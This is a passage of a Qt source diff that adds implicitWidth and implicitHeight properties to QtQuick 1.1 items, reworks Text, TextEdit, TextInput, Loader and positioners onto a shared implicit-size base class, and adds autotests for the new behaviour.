    +        d->implicitHeightChanged();
     }
     
     /*!
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h
    index 0dd3937..839b934 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.h
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.h
    @@ -92,6 +92,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDe
         Q_PROPERTY(TransformOrigin transformOrigin READ transformOrigin WRITE setTransformOrigin NOTIFY transformOriginChanged)
         Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint) // transformOriginPoint is read-only for Item
         Q_PROPERTY(bool smooth READ smooth WRITE setSmooth NOTIFY smoothChanged)
    +    Q_PROPERTY(qreal implicitWidth READ implicitWidth WRITE setImplicitWidth NOTIFY implicitWidthChanged REVISION 1)
    +    Q_PROPERTY(qreal implicitHeight READ implicitHeight WRITE setImplicitHeight NOTIFY implicitHeightChanged REVISION 1)
    +
         Q_ENUMS(TransformOrigin)
         Q_CLASSINFO("DefaultProperty", "data")
     
    @@ -161,6 +164,8 @@ Q_SIGNALS:
         void transformOriginChanged(TransformOrigin);
         void smoothChanged(bool);
         void clipChanged(bool);
    +    Q_REVISION(1) void implicitWidthChanged();
    +    Q_REVISION(1) void implicitHeightChanged();
     
     protected:
         bool isComponentComplete() const;
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h
    index fd9c736..4303c0a 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h
    @@ -126,7 +126,7 @@ public:
           widthValid(false), heightValid(false),
           componentComplete(true), keepMouse(false),
           smooth(false), transformOriginDirty(true), doneEventPreHandler(false), keyHandler(0),
    -      mWidth(0), mHeight(0), implicitWidth(0), implicitHeight(0), hadSubFocusItem(false)
    +      mWidth(0), mHeight(0), mImplicitWidth(0), mImplicitHeight(0), hadSubFocusItem(false)
         {
             QGraphicsItemPrivate::acceptedMouseButtons = 0;
             isDeclarativeItem = 1;
    @@ -157,6 +157,11 @@ public:
         void setHeight(qreal);
         void resetHeight();
     
    +    virtual qreal implicitWidth() const;
    +    virtual qreal implicitHeight() const;
    +    virtual void implicitWidthChanged();
    +    virtual void implicitHeightChanged();
    +
         QDeclarativeListProperty data();
         QDeclarativeListProperty resources();
     
    @@ -272,8 +277,8 @@ public:
     
         qreal mWidth;
         qreal mHeight;
    -    qreal implicitWidth;
    -    qreal implicitHeight;
    +    qreal mImplicitWidth;
    +    qreal mImplicitHeight;
     
         bool hadSubFocusItem;
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    index 32c71dd..3395397 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
    @@ -179,6 +179,7 @@ void QDeclarativeItemModule::defineModule()
         qmlRegisterType("QtQuick",1,1,"PinchArea");
         qmlRegisterType("QtQuick",1,1,"Pinch");
         qmlRegisterType();
    +    qmlRegisterType("QtQuick",1,1,"Item");
         qmlRegisterType("QtQuick",1,1,"Flickable");
         qmlRegisterType("QtQuick",1,1,"ListView");
         qmlRegisterType("QtQuick",1,1,"GridView");
    @@ -190,6 +191,10 @@ void QDeclarativeItemModule::defineModule()
     #ifndef QT_NO_LINEEDIT
         qmlRegisterType("QtQuick",1,1,"TextInput");
     #endif
    +    qmlRegisterRevision("QtQuick",1,0);
    +    qmlRegisterRevision("QtQuick",1,1);
    +    qmlRegisterRevision("QtQuick",1,0);
    +    qmlRegisterRevision("QtQuick",1,1);
     
     #ifndef QT_NO_IMPORT_QT47_QML
     #ifdef QT_NO_MOVIE
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 86e438f..86d6404 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -216,7 +216,7 @@ void QDeclarativeLoaderPrivate::initResize()
     */
     
     QDeclarativeLoader::QDeclarativeLoader(QDeclarativeItem *parent)
    -  : QDeclarativeItem(*(new QDeclarativeLoaderPrivate), parent)
    +  : QDeclarativeImplicitSizeItem(*(new QDeclarativeLoaderPrivate), parent)
     {
         Q_D(QDeclarativeLoader);
         d->flags |= QGraphicsItem::ItemIsFocusScope;
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p.h
    index 1fe7ae7..96b883c 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p.h
    @@ -42,7 +42,7 @@
     #ifndef QDECLARATIVELOADER_H
     #define QDECLARATIVELOADER_H
     
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     QT_BEGIN_HEADER
     
    @@ -51,7 +51,7 @@ QT_BEGIN_NAMESPACE
     QT_MODULE(Declarative)
     
     class QDeclarativeLoaderPrivate;
    -class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeItem
    +class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
         Q_ENUMS(Status)
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 81ca66d..7f1a6da 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -55,13 +55,13 @@
     
     #include "private/qdeclarativeloader_p.h"
     
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     #include "private/qdeclarativeitemchangelistener_p.h"
     
     QT_BEGIN_NAMESPACE
     
     class QDeclarativeContext;
    -class QDeclarativeLoaderPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
    +class QDeclarativeLoaderPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
     {
         Q_DECLARE_PUBLIC(QDeclarativeLoader)
     
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    index a2a167e..9450647 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
    @@ -111,14 +111,14 @@ void QDeclarativeBasePositioner::graphicsWidgetGeometryChanged()
         Note that the subclass is responsible for adding the spacing in between items.
     */
     QDeclarativeBasePositioner::QDeclarativeBasePositioner(PositionerType at, QDeclarativeItem *parent)
    -    : QDeclarativeItem(*(new QDeclarativeBasePositionerPrivate), parent)
    +    : QDeclarativeImplicitSizeItem(*(new QDeclarativeBasePositionerPrivate), parent)
     {
         Q_D(QDeclarativeBasePositioner);
         d->init(at);
     }
     
     QDeclarativeBasePositioner::QDeclarativeBasePositioner(QDeclarativeBasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent)
    -    : QDeclarativeItem(dd, parent)
    +    : QDeclarativeImplicitSizeItem(dd, parent)
     {
         Q_D(QDeclarativeBasePositioner);
         d->init(at);
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    index 1306fcd..6b45e49 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p.h
    @@ -42,7 +42,7 @@
     #ifndef QDECLARATIVELAYOUTS_H
     #define QDECLARATIVELAYOUTS_H
     
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     #include 
    @@ -57,7 +57,7 @@ QT_BEGIN_NAMESPACE
     QT_MODULE(Declarative)
     class QDeclarativeBasePositionerPrivate;
     
    -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeItem
    +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBasePositioner : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
     
    diff --git a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
    index c6535a7..df105c6 100644
    --- a/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepositioners_p_p.h
    @@ -55,7 +55,7 @@
     
     #include "private/qdeclarativepositioners_p.h"
     
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     
     #include 
     #include 
    @@ -67,7 +67,7 @@
     #include 
     
     QT_BEGIN_NAMESPACE
    -class QDeclarativeBasePositionerPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
    +class QDeclarativeBasePositionerPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
     {
         Q_DECLARE_PUBLIC(QDeclarativeBasePositioner)
     
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index 64925d0..d424e30 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -92,7 +92,7 @@ QDeclarativeTextPrivate::QDeclarativeTextPrivate()
       vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
       format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineCount(1), truncated(false), maximumLineCount(INT_MAX),
       maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
    -  cacheAllTextAsImage(true), internalWidthUpdate(false), doc(0)
    +  cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), naturalWidth(0), doc(0)
     {
         cacheAllTextAsImage = enableImageCache();
         QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton;
    @@ -179,6 +179,18 @@ QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
     {
     }
     
    +qreal QDeclarativeTextPrivate::implicitWidth() const
    +{
    +    if (!requireImplicitWidth) {
    +        // We don't calculate implicitWidth unless it is required.
    +        // We need to force a size update now to ensure implicitWidth is calculated
    +        QDeclarativeTextPrivate *me = const_cast(this);
    +        me->requireImplicitWidth = true;
    +        me->updateSize();
    +    }
    +    return mImplicitWidth;
    +}
    +
     void QDeclarativeTextPrivate::updateLayout()
     {
         Q_Q(QDeclarativeText);
    @@ -222,12 +234,20 @@ void QDeclarativeTextPrivate::updateSize()
             return;
         }
     
    +    if (!requireImplicitWidth) {
    +        emit q->implicitWidthChanged();
    +        // if the implicitWidth is used, then updateSize() has already been called (recursively)
    +        if (requireImplicitWidth)
    +            return;
    +    }
    +
         invalidateImageCache();
     
         QFontMetrics fm(font);
         if (text.isEmpty()) {
             q->setImplicitWidth(0);
             q->setImplicitHeight(fm.height());
    +        paintedSize = QSize(0, fm.height());
             emit q->paintedSizeChanged();
             q->update();
             return;
    @@ -251,6 +271,10 @@ void QDeclarativeTextPrivate::updateSize()
             QTextOption option((Qt::Alignment)int(hAlign | vAlign));
             option.setWrapMode(QTextOption::WrapMode(wrapMode));
             doc->setDefaultTextOption(option);
    +        if (requireImplicitWidth && q->widthValid()) {
    +            doc->setTextWidth(-1);
    +            naturalWidth = doc->idealWidth();
    +        }
             if (wrapMode != QDeclarativeText::NoWrap && q->widthValid())
                 doc->setTextWidth(q->width());
             else
    @@ -275,10 +299,16 @@ void QDeclarativeTextPrivate::updateSize()
     
         //### need to comfirm cost of always setting these for richText
         internalWidthUpdate = true;
    -    q->setImplicitWidth(size.width());
    +    if (!q->widthValid())
    +        q->setImplicitWidth(size.width());
    +    else if (requireImplicitWidth)
    +        q->setImplicitWidth(naturalWidth);
         internalWidthUpdate = false;
         q->setImplicitHeight(size.height());
    -    emit q->paintedSizeChanged();
    +    if (paintedSize != size) {
    +        paintedSize = size;
    +        emit q->paintedSizeChanged();
    +    }
         q->update();
     }
     
    @@ -318,6 +348,22 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         qreal elideWidth = fm.width(elideChar);
         elidePos = QPointF();
     
    +    if (requireImplicitWidth && q->widthValid()) {
    +        // requires an extra layout
    +        layout.beginLayout();
    +        forever {
    +            QTextLine line = layout.createLine();
    +            if (!line.isValid())
    +                break;
    +        }
    +        layout.endLayout();
    +        naturalWidth = 0;
    +        for (int i = 0; i < layout.lineCount(); ++i) {
    +            QTextLine line = layout.lineAt(i);
    +            naturalWidth = qMax(naturalWidth, line.naturalTextWidth());
    +        }
    +    }
    +
         if (maximumLineCountValid) {
             layout.beginLayout();
             int y = 0;
    @@ -383,6 +429,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
         }
     
         qreal layoutWidth = q->widthValid() ? q->width() : widthUsed;
    +    if (!q->widthValid())
    +        naturalWidth = layoutWidth;
     
         qreal x = 0;
         for (int i = 0; i < layout.lineCount(); ++i) {
    @@ -660,7 +708,7 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
         \sa {declarative/text/fonts}{Fonts example}
     */
     QDeclarativeText::QDeclarativeText(QDeclarativeItem *parent)
    -  : QDeclarativeItem(*(new QDeclarativeTextPrivate), parent)
    +  : QDeclarativeImplicitSizeItem(*(new QDeclarativeTextPrivate), parent)
     {
     }
     
    @@ -1331,7 +1379,8 @@ void QDeclarativeText::geometryChanged(const QRectF &newGeometry, const QRectF &
     */
     qreal QDeclarativeText::paintedWidth() const
     {
    -    return implicitWidth();
    +    Q_D(const QDeclarativeText);
    +    return d->paintedSize.width();
     }
     
     /*!
    @@ -1342,7 +1391,8 @@ qreal QDeclarativeText::paintedWidth() const
     */
     qreal QDeclarativeText::paintedHeight() const
     {
    -    return implicitHeight();
    +    Q_D(const QDeclarativeText);
    +    return d->paintedSize.height();
     }
     
     /*!
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h
    index 6468a77..ec33b84 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h
    @@ -43,7 +43,7 @@
     #define QDECLARATIVETEXT_H
     
     #include 
    -#include "qdeclarativeitem.h"
    +#include "qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     
    @@ -53,7 +53,7 @@ QT_BEGIN_NAMESPACE
     
     QT_MODULE(Declarative)
     class QDeclarativeTextPrivate;
    -class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeItem
    +class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeText : public QDeclarativeImplicitSizeItem
     {
         Q_OBJECT
         Q_ENUMS(HAlignment)
    diff --git a/src/declarative/graphicsitems/qdeclarativetext_p_p.h b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    index fe2b042..bae2d85 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetext_p_p.h
    @@ -54,7 +54,7 @@
     //
     
     #include "qdeclarativeitem.h"
    -#include "private/qdeclarativeitem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     #include "private/qdeclarativetextlayout_p.h"
     
     #include 
    @@ -66,7 +66,7 @@ QT_BEGIN_NAMESPACE
     class QTextLayout;
     class QTextDocumentWithImageResources;
     
    -class QDeclarativeTextPrivate : public QDeclarativeItemPrivate
    +class QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeText)
     public:
    @@ -107,9 +107,12 @@ public:
         bool singleline:1;
         bool cacheAllTextAsImage:1;
         bool internalWidthUpdate:1;
    +    bool requireImplicitWidth:1;
     
         QSize layedOutTextSize;
    -    
    +    QSize paintedSize;
    +    qreal naturalWidth;
    +    virtual qreal implicitWidth() const;
         void ensureDoc();
         QPixmap textDocumentImage(bool drawStyle);
         QTextDocumentWithImageResources *doc;
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    index 280c8c3..959d655 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    @@ -113,7 +113,7 @@ TextEdit {
         \a link string provides access to the particular link.
     */
     QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent)
    -: QDeclarativePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
    +: QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
     {
         Q_D(QDeclarativeTextEdit);
         d->init();
    @@ -559,7 +559,8 @@ int QDeclarativeTextEdit::lineCount() const
     */
     qreal QDeclarativeTextEdit::paintedWidth() const
     {
    -    return implicitWidth();
    +    Q_D(const QDeclarativeTextEdit);
    +    return d->paintedSize.width();
     }
     
     /*!
    @@ -570,7 +571,8 @@ qreal QDeclarativeTextEdit::paintedWidth() const
     */
     qreal QDeclarativeTextEdit::paintedHeight() const
     {
    -    return implicitHeight();
    +    Q_D(const QDeclarativeTextEdit);
    +    return d->paintedSize.height();
     }
     
     /*!
    @@ -1482,6 +1484,17 @@ QRectF QDeclarativeTextEdit::boundingRect() const
         return r.translated(0,d->yoff);
     }
     
    +qreal QDeclarativeTextEditPrivate::implicitWidth() const
    +{
    +    Q_Q(const QDeclarativeTextEdit);
    +    if (!requireImplicitWidth) {
    +        // We don't calculate implicitWidth unless it is required.
    +        // We need to force a size update now to ensure implicitWidth is calculated
    +        const_cast(this)->requireImplicitWidth = true;
    +        const_cast(q)->updateSize();
    +    }
    +    return mImplicitWidth;
    +}
     
     //### we should perhaps be a bit smarter here -- depending on what has changed, we shouldn't
     //    need to do all the calculations each time
    @@ -1489,16 +1502,27 @@ void QDeclarativeTextEdit::updateSize()
     {
         Q_D(QDeclarativeTextEdit);
         if (isComponentComplete()) {
    -        QFontMetrics fm = QFontMetrics(d->font);
    -        int dy = height();
    +        qreal naturalWidth = d->mImplicitWidth;
             // ### assumes that if the width is set, the text will fill to edges
             // ### (unless wrap is false, then clipping will occur)
             if (widthValid()) {
    +            if (!d->requireImplicitWidth) {
    +                emit implicitWidthChanged();
    +                // if the implicitWidth is used, then updateSize() has already been called (recursively)
    +                if (d->requireImplicitWidth)
    +                    return;
    +            }
    +            if (d->requireImplicitWidth) {
    +                d->document->setTextWidth(-1);
    +                naturalWidth = d->document->idealWidth();
    +            }
                 if (d->document->textWidth() != width())
                     d->document->setTextWidth(width());
             } else {
                 d->document->setTextWidth(-1);
             }
    +        QFontMetrics fm = QFontMetrics(d->font);
    +        int dy = height();
             dy -= (int)d->document->size().height();
     
             int nyoff;
    @@ -1523,12 +1547,15 @@ void QDeclarativeTextEdit::updateSize()
             if (!widthValid() && d->document->textWidth() != newWidth)
                 d->document->setTextWidth(newWidth); // ### Text does not align if width is not set (QTextDoc bug)
             // ### Setting the implicitWidth triggers another updateSize(), and unless there are bindings nothing has changed.
    -        setImplicitWidth(newWidth);
    +        if (!widthValid())
    +            setImplicitWidth(newWidth);
    +        else if (d->requireImplicitWidth)
    +            setImplicitWidth(naturalWidth);
             qreal newHeight = d->document->isEmpty() ? fm.height() : (int)d->document->size().height();
             setImplicitHeight(newHeight);
     
    -        setContentsSize(QSize(newWidth, newHeight));
    -
    +        d->paintedSize = QSize(newWidth, newHeight);
    +        setContentsSize(d->paintedSize);
             emit paintedSizeChanged();
         } else {
             d->dirty = true;
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    index c534623..276d570 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    @@ -43,7 +43,7 @@
     #define QDECLARATIVETEXTEDIT_H
     
     #include "private/qdeclarativetext_p.h"
    -#include "private/qdeclarativepainteditem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     #include 
    @@ -58,7 +58,7 @@ QT_MODULE(Declarative)
     
     
     class QDeclarativeTextEditPrivate;
    -class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem
    +class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePaintedItem
     {
         Q_OBJECT
         Q_ENUMS(VAlignment)
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    index 13fee50..98b3c6d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    @@ -54,7 +54,7 @@
     //
     
     #include "qdeclarativeitem.h"
    -#include "private/qdeclarativepainteditem_p_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     
     #include 
     
    @@ -62,7 +62,7 @@ QT_BEGIN_NAMESPACE
     class QTextLayout;
     class QTextDocument;
     class QTextControl;
    -class QDeclarativeTextEditPrivate : public QDeclarativePaintedItemPrivate
    +class QDeclarativeTextEditPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeTextEdit)
     
    @@ -70,8 +70,8 @@ public:
         QDeclarativeTextEditPrivate()
           : color("black"), hAlign(QDeclarativeTextEdit::AlignLeft), vAlign(QDeclarativeTextEdit::AlignTop),
           imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
    -      showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), textMargin(0.0),
    -      lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
    +      showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
    +      textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
           format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
           selectByMouse(false), canPaste(false),
           yoff(0)
    @@ -88,6 +88,7 @@ public:
         void updateDefaultTextOption();
         void relayoutDocument();
         void updateSelection();
    +    qreal implicitWidth() const;
         void focusChanged(bool);
     
         QString text;
    @@ -110,6 +111,7 @@ public:
         bool showInputPanelOnFocus : 1;
         bool clickCausedFocus : 1;
         bool persistentSelection : 1;
    +    bool requireImplicitWidth:1;
         qreal textMargin;
         int lastSelectionStart;
         int lastSelectionEnd;
    @@ -123,6 +125,7 @@ public:
         bool selectByMouse;
         bool canPaste;
         int yoff;
    +    QSize paintedSize;
     };
     
     QT_END_NAMESPACE
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index bd961f6..911c68c 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -76,7 +76,7 @@ QT_BEGIN_NAMESPACE
         \sa TextEdit, Text, {declarative/text/textselection}{Text Selection example}
     */
     QDeclarativeTextInput::QDeclarativeTextInput(QDeclarativeItem* parent)
    -    : QDeclarativePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
    +    : QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextInputPrivate), parent)
     {
         Q_D(QDeclarativeTextInput);
         d->init();
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    index 7406fee..543f7a8 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    @@ -43,7 +43,7 @@
     #define QDECLARATIVETEXTINPUT_H
     
     #include "private/qdeclarativetext_p.h"
    -#include "private/qdeclarativepainteditem_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p.h"
     
     #include 
     #include 
    @@ -58,7 +58,7 @@ QT_MODULE(Declarative)
     
     class QDeclarativeTextInputPrivate;
     class QValidator;
    -class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem
    +class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizePaintedItem
     {
         Q_OBJECT
         Q_ENUMS(HAlignment)
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    index 22f452a..9644410 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    @@ -44,7 +44,7 @@
     
     #include "private/qdeclarativetextinput_p.h"
     
    -#include "private/qdeclarativepainteditem_p_p.h"
    +#include "private/qdeclarativeimplicitsizeitem_p_p.h"
     
     #include 
     
    @@ -66,7 +66,7 @@
     
     QT_BEGIN_NAMESPACE
     
    -class QDeclarativeTextInputPrivate : public QDeclarativePaintedItemPrivate
    +class QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
     {
         Q_DECLARE_PUBLIC(QDeclarativeTextInput)
     public:
    diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    index dbed799..e636383 100644
    --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    @@ -83,6 +83,9 @@ private slots:
         void mouseFocus();
     
         void transformCrash();
    +    void implicitSize();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         template
    @@ -915,6 +918,83 @@ void tst_QDeclarativeItem::transformCrash()
         delete canvas;
     }
     
    +void tst_QDeclarativeItem::implicitSize()
    +{
    +    QDeclarativeView *canvas = new QDeclarativeView(0);
    +    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/implicitsize.qml"));
    +    canvas->show();
    +
    +    QDeclarativeItem *item = qobject_cast(canvas->rootObject());
    +    QVERIFY(item);
    +    QCOMPARE(item->width(), qreal(80));
    +    QCOMPARE(item->height(), qreal(60));
    +
    +    QCOMPARE(item->implicitWidth(), qreal(200));
    +    QCOMPARE(item->implicitHeight(), qreal(100));
    +
    +    QMetaObject::invokeMethod(item, "resetSize");
    +
    +    QCOMPARE(item->width(), qreal(200));
    +    QCOMPARE(item->height(), qreal(100));
    +
    +    QMetaObject::invokeMethod(item, "changeImplicit");
    +
    +    QCOMPARE(item->implicitWidth(), qreal(150));
    +    QCOMPARE(item->implicitHeight(), qreal(80));
    +    QCOMPARE(item->width(), qreal(150));
    +    QCOMPARE(item->height(), qreal(80));
    +
    +    delete canvas;
    +}
    +
    +void tst_QDeclarativeItem::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; Item { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; Item { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_QDeclarativeItem::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("implicitWidth") << "implicitWidth: 100"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Property \"implicitWidth\" not available in QtQuick/Item 1.0\n";
    +
    +    QTest::newRow("implicitHeight") << "implicitHeight: 100"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Property \"implicitHeight\" not available in QtQuick/Item 1.0\n";
    +
    +    QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Signal \"onImplicitWidthChanged\" not available in QtQuick/Item 1.0\n";
    +
    +    QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 Signal \"onImplicitHeightChanged\" not available in QtQuick/Item 1.0\n";
    +}
    +
    +
     template
     T *tst_QDeclarativeItem::findItem(QGraphicsObject *parent, const QString &objectName)
     {
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index ae521a5..faea448 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -101,6 +101,8 @@ private slots:
         void clickLink();
     
         void QTBUG_12291();
    +    void implicitSize_data();
    +    void implicitSize();
     
     private:
         QStringList standard;
    @@ -1050,6 +1052,33 @@ void tst_qdeclarativetext::lineCount()
         QCOMPARE(myText->maximumLineCount(), 2);
     }
     
    +void tst_qdeclarativetext::implicitSize_data()
    +{
